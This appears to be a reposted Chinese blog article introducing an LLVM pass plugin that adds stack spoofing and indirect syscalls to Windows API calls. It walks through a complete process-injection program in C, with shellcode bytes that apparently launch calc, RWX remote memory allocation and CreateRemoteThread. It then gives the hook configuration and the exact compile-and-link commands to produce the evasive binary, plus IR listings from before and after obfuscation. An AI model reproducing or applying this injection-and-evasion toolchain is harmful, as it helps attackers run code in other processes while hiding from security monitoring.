1. 概述
llvm-yx-callobfuscator[1] 是一个 LLVM Pass Plugin,它作用于 IR Optimization 的阶段,识别并替换 API 调用的 IR,非侵入式的为 API 调用增加「堆栈欺骗」和「Indirect Syscall」功能
项目分两个模块,CallObfuscatorHelpers 是运行时依赖的库,会被链接到二进制中,里面实现了分配函数、堆栈欺骗、Indirect Syscall 等功能;CallObfuscatorPlugin 则是 LLVM Pass 插件,用来解析修改 AST
下文以一段经典 shellcode 注入代码举例,通过该项目工具链重新编译,可以在不改写代码的情况下为 NTAPI 调用执行 Indirect Syscall,为普通 Win32 API 调用执行堆栈欺骗
2. 举个例子
一段经典 shellcode 注入
int main(int argc, char **argv) {
DWORD dwPid = 20256;
CHAR cSc[] = {
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29,
0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76,
0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f,
0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
0xd7};
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE,
dwPid);
PVOID pAddr = NULL;
SIZE_T stLen = sizeof(cSc);
NtAllocateVirtualMemory(
hProcess,
&pAddr,
0,
&stLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
SIZE_T stWritten = 0;
NtWriteVirtualMemory(hProcess, pAddr, cSc, sizeof(cSc), &stWritten);
DWORD dwOld = 0;
NtProtectVirtualMemory(hProcess, &pAddr, &stLen, PAGE_EXECUTE_READ, &dwOld);
DWORD dwTid = 0;
CreateRemoteThread(hProcess, NULL, 4 << 10, pAddr, NULL, 0, &dwTid);
}
配置 callobfuscator.conf:
{
"dll_hooks": [
{
"dll_name": "kernel32.dll",
"hooked_functions": [
"OpenProcess",
"CreateRemoteThread"
]
},
{
"dll_name": "ntdll.dll",
"hooked_functions": [
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtProtectVirtualMemory"
]
}
]
}
编译并链接:
clang -O0 -Xclang -disable-O0-optnone -S -emit-llvm ./source/main.c -o ./build/irs/main.ll
LLVM_OBF_FUNCTIONS=./callobfuscator.conf opt -S -load-pass-plugin=../build/CallObfuscatorPlugin/CallObfuscatorPlugin.dll -passes=callobfuscator-pass ./build/irs/main.ll -o ./build/irs/main.obf.ll
opt -S -O3 ./build/irs/main.obf.ll -o ./build/irs/main.op.ll
llc --mtriple=x86_64-pc-windows-msvc -filetype=obj ./build/irs/main.op.ll -o ./build/objs/main.obj
clang ./build/objs/main.obj -o ./build/main.exe -L ../build/CallObfuscatorHelpers/ -l CallObfuscatorHelpers
3. 对比一下混淆前后的 IR
混淆前:
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca [85 x i8], align 16
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i64, align 8
%10 = alloca i64, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
store i32 20256, ptr %5, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %6, ptr align 16 @__const.main.cSc, i64 85, i1 false)
%13 = load i32, ptr %5, align 4
%14 = call ptr @OpenProcess(i32 noundef 42, i32 noundef 0, i32 noundef %13)
store ptr %14, ptr %7, align 8
store ptr null, ptr %8, align 8
store i64 85, ptr %9, align 8
%15 = load ptr, ptr %7, align 8
%16 = call i32 @NtAllocateVirtualMemory(ptr noundef %15, ptr noundef %8, i64 noundef 0, ptr noundef %9, i32 noundef 12288, i32 noundef 64)
store i64 0, ptr %10, align 8
%17 = load ptr, ptr %7, align 8
%18 = load ptr, ptr %8, align 8
%19 = getelementptr inbounds [85 x i8], ptr %6, i64 0, i64 0
%20 = call i32 @NtWriteVirtualMemory(ptr noundef %17, ptr noundef %18, ptr noundef %19, i64 noundef 85, ptr noundef %10)
store i32 0, ptr %11, align 4
%21 = load ptr, ptr %7, align 8
%22 = call i32 @NtProtectVirtualMemory(ptr noundef %21, ptr noundef %8, ptr noundef %9, i32 noundef 32, ptr noundef %11)
store i32 0, ptr %12, align 4
%23 = load ptr, ptr %7, align 8
%24 = load ptr, ptr %8, align 8
%25 = call ptr @CreateRemoteThread(ptr noundef %23, ptr noundef null, i64 noundef 4096, ptr noundef %24, ptr noundef null, i32 noundef 0, ptr noundef %12)
ret i32 0
}
混淆后:
@.str.__callobfuscator.kernel32.dll = internal constant [13 x i8] c"kernel32.dll 0"
@.str.__callobfuscator.ntdll.dll = internal constant [10 x i8] c"ntdll.dll 0"
@__callobf_functionTable = local_unnamed_addr global %_FUNCTION_TABLE <{ i32 6, i32 0, [6 x %_FUNCTION_TABLE_ENTRY] [%_FUNCTION_TABLE_ENTRY <{ i32 367519426, i32 0, i32 1, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -523343567, i32 0, i32 3, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -1590070805, i32 1, i32 6, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 1742021977, i32 1, i32 5, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -1755699165, i32 1, i32 5, i32 0, ptr null }>, %_FUNCTION_TABLE_ENTRY <{ i32 -2130536344, i32 0, i32 7, i32 0, ptr null }>] }>
@__callobf_dllTable = local_unnamed_addr global %_DLL_TABLE <{ i32 2, i32 0, [2 x %_DLL_TABLE_ENTRY] [%_DLL_TABLE_ENTRY <{ ptr @.str.__callobfuscator.kernel32.dll, ptr null }>, %_DLL_TABLE_ENTRY <{ ptr @.str.__callobfuscator.ntdll.dll, ptr null }>] }>
; Function Attrs: noinline nounwind uwtable
define dso_local i32 @main(i32 noundef %0, ptr nocapture noundef readnone %1) local_unnamed_addr #0 {
%3 = alloca [85 x i8], align 16
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
call void @llvm.memcpy.p0.p0.i64(ptr noundef nonnull align 16 dereferenceable(85) %3, ptr noundef nonnull align 16 dereferenceable(85) @__const.main.cSc, i64 85, i1 false)
%9 = tail call i64 (i32, ...) @__callobf_callDispatcher(i32 1, i32 42, i32 0, i32 20256) #2
%10 = inttoptr i64 %9 to ptr
store ptr null, ptr %4, align 8
store i64 85, ptr %5, align 8
%11 = call i64 (i32, ...) @__callobf_callDispatcher(i32 2, ptr %10, ptr nonnull %4, i64 0, ptr nonnull %5, i32 12288, i32 64) #2
store i64 0, ptr %6, align 8
%12 = load ptr, ptr %4, align 8
%13 = call i64 (i32, ...) @__callobf_callDispatcher(i32 3, ptr %10, ptr %12, ptr nonnull %3, i64 85, ptr nonnull %6) #2
store i32 0, ptr %7, align 4
%14 = call i64 (i32, ...) @__callobf_callDispatcher(i32 4, ptr %10, ptr nonnull %4, ptr nonnull %5, i32 32, ptr nonnull %7) #2
store i32 0, ptr %8, align 4
%15 = load ptr, ptr %4, align 8
%16 = call i64 (i32, ...) @__callobf_callDispatcher(i32 5, ptr %10, ptr null, i64 4096, ptr %15, ptr null, i32 0, ptr nonnull %8) #2
ret i32 0
}
混淆后的 IR 把 API 调用都替换为了 __callobf_callDispatcher
调用,该分派函数通过 __callobf_functionTable
表的索引拿到对应函数的 FUNCTION_TABLE_ENTRY 结构,该结构保存了 SSN 或函数名 hash
typedef struct _FUNCTION_TABLE_ENTRY
{
DWORD hash;
DWORD moduleIndex;
DWORD argCount;
DWORD ssn; // As any other time that ssn is defined as a 4byte value, the
// lower bytes are set to either 0xFF or 0x00, and it means if
// it is actually a valid ssn. So we can check if the function
// is a syscall by checking if any of thos bits are set to 1.
PVOID functionPtr;
} FUNCTION_TABLE_ENTRY, *PFUNCTION_TABLE_ENTRY;
如果是 NTAPI,则获取 SSN 并执行 Indirect Syscall;如果是普通 Win32 API,则通过 hash 导入并执行堆栈欺骗
对应的源码在
https://github.com/janoglezcampos/llvm-yx-callobfuscator/blob/main/CallObfuscatorHelpers/source/callDispatcher/callDispatcher.c#L105
感兴趣的读者可自行研究
References
[1]
llvm-yx-callobfuscator: https://github.com/janoglezcampos/llvm-yx-callobfuscator
原文始发于微信公众号(0x4d5a):基于 LLVM Optimization Pass 的堆栈欺骗和 Indirect Syscall
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论